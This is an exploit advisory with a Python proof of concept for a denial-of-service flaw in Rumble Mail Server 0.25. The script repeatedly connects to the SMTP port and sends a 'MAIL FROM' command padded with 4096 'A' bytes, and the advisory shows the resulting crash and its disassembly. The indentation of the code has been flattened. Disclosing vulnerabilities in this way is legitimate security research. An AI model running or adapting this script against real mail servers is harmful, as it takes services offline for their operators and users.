Rumble 0.25.2232 Denial Of Service

`# ------------------------------------------------------------------------  
# Software................Rumble 0.25.2232  
# Vulnerability...........Denial Of Service  
# Threat Level............Serious (3/5)  
# Download................http://humbedooh.users.sourceforge.net/  
# Discovery Date..........3/27/2011  
# Tested On...............Windows Vista + XAMPP  
# ------------------------------------------------------------------------  
# Author..................AutoSec Tools  
# Site....................http://www.autosectools.com/  
# Email...................John Leitch <[email protected]>  
# ------------------------------------------------------------------------  
#   
#   
# --Description--  
#   
# A denial of service vulnerability can be exploited to crash Rumble  
# Mail Server v0.25.2231.  
#   
# rumble_win32.exe: The instruction at 0x96CEEB referenced memory at  
# 0x41414149. The memory could not be read (0x0096CEEB -> 41414149)  
#   
# Disassembly:  
#   
# .text:0096CEEB mov edx, [ecx+8]  
# .text:0096CEEE mov [ebp-8], edx  
# .text:0096CEF1 mov eax, [ebp-8]  
# .text:0096CEF4 mov ecx, [eax]  
# .text:0096CEF6 mov [ebp-0Ch], ecx  
# .text:0096CEF9 mov edx, [ebp+0Ch]  
# .text:0096CEFC mov [ebp-10h], edx  
# .text:0096CEFF  
# .text:0096CEFF loc_96CEFF: ; CODE XREF: .text:0096CF31  
# .text:0096CEFF mov eax, [ebp-10h]  
# .text:0096CF02 mov cl, [eax]  
# .text:0096CF04 mov [ebp-11h], cl  
# .text:0096CF07 mov edx, [ebp-0Ch]  
# .text:0096CF0A cmp cl, [edx]  
# .text:0096CF0C jnz short loc_96CF3C  
#   
#   
# --PoC--  
  
import socket  
  
host = 'localhost'  
tld = 'mydomain.tld'  
port = 25  
  
def crash():   
for i in range(0, 16):  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((host, port))  
s.settimeout(32)   
  
junk = 'A' * 4096  
  
print s.recv(8192)  
s.send('HELO ' + tld + '\r\n')  
print s.recv(8192)  
s.send('MAIL FROM ' + junk + '\r\n')   
print s.recv(8192)  
  
s.close()  
  
  
crash()  
`